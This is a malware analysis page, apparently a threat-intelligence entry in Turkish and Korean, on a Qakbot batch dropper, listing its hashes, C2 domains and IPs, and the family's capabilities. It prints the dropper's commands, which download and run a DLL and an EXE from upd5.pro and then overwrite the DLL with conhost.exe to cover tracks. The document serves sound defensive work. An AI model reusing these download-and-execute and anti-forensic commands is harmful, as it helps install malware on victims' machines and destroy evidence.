Manuel Statik Analiz (LLM Okumali) — Qakbot/Qbot BAT Dropper | Tehdit: KRITIK

파일 Kimligi

SHA2563b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
FormatWindows Batch Script (.bat)
크기326 byte — minimal dropper

Cleartext Batch Script Icerik

echo "-> Loading update 2..."
curl -o 02.dll https://upd5.pro/update/02.dll
rundll32.exe 02.dll,checkit
echo "-> Loading update 2 tool..."
curl -o qd_x86.exe https://upd5.pro/update/qd_x86.exe
qd_x86.exe
type c:\Windows\System32\conhost.exe > 02.dll

Analiz

AdimEylem
1curl ile C2'den 02.dll indir
2rundll32.exe 02.dll,checkit — DLL export checkit ile calistir
3curl ile qd_x86.exe indir ve calistir
4Anti-Forensics: type conhost.exe > 02.dll — DLL'yi mesgru Windows dosyasıyla uzer!

C2 Sunucusu

C2 Domain:  upd5.pro
Payload 1:  https://upd5.pro/update/02.dll   (Qakbot DLL, export: checkit)
Payload 2:  https://upd5.pro/update/qd_x86.exe  (ikinci asama PE)

Qakbot Hakkinda

Qakbot (Qbot), 2007 yilinda baslayan ve 2023 FBI "Operation Duck Hunt" operasyonuyla altyapisi cokutulen bir banking botnet ailesidir. Ransomware operasyonlari icin (Conti, ProLock, Egregor) ilk erisim saglayici olarak yaygin kullanilmistir. Black Basta ve REvil ile calisma gecmisi bulunmaktadir. 2024'te yeniden aktif hale geldigi gozlemlenmistir.

IOC

SHA2563b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
C2 Domainupd5.pro
DLL URLhttps://upd5.pro/update/02.dll (checkit)
EXE URLhttps://upd5.pro/update/qd_x86.exe
Anti-Forensicsconhost.exe ile DLL uzerine yazma

QakBot — 악성코드 프로필

QakBot Quakbot banker. Notesvb.msi delivery. Named pipe IPC. Modular architecture.

악성코드 유형
Other
프로그래밍 언어
C++
C2 프로토콜
HTTPS
대상 시스템
Windows
다른 이름 (AKA)
QBot

기술 세부 정보

QakBot (Qbot/QuakBot) is a banking trojan and loader active since 2007. Features: credential theft, email hijacking for thread hijacking attacks, lateral movement via SMB/psexec, web injection for banking fraud. Delivered via malspam using hijacked email threads (reply-chain attacks). Modules: email collector, credential grabber, network scanner, VNC plugin. Used to deliver Egregor, ProLock, REvil, Black Basta ransomware. FBI "Operation Duck Hunt" disrupted infrastructure August 2023, removing QakBot from 700,000+ infected machines. Attempted comeback Q4 2023 with new delivery methods.

귀속 / 위협 행위자

Gold Lagoon, TA570 (Shatak)

기능 및 동작

Zararlı Yazılım Aktivitesi
Kalıcılık Mekanizması
C2 İletişimi
Anti-Analiz

IOC 목록 (1 개 지표)

IOC — Qakbot
# SHA256 3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d
유형메모
sha256 3b3bd81232f517ba6d65c7838c205b301b0f27572fcfef9e5b86dd30a1d55a0d

C2 서버 (이 패밀리에 대해 8개의 서버 기록)

주소 유형 포트 프로토콜 상태 국가
95.217.35.154 ip 443 HTTPS inactive FI
upd5.pro domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
metasta.me domain 443 HTTPS inactive —
upd5.pro domain 443 HTTPS inactive —
amacey.com domain 443 HTTPS inactive —
181.174.165.208 ip 443 HTTPS sinkholed AR
212.117.180.232 ip 443 HTTPS sinkholed CH

C2 주소는 KEYDAL 팀이 수동으로 검증한 악성코드 샘플에서만 제공됩니다. 상업적 사용은 금지됩니다.

태그
qakbotqbotbat-droppercurlrundll32upd5proconhost-evasioncleartext-c2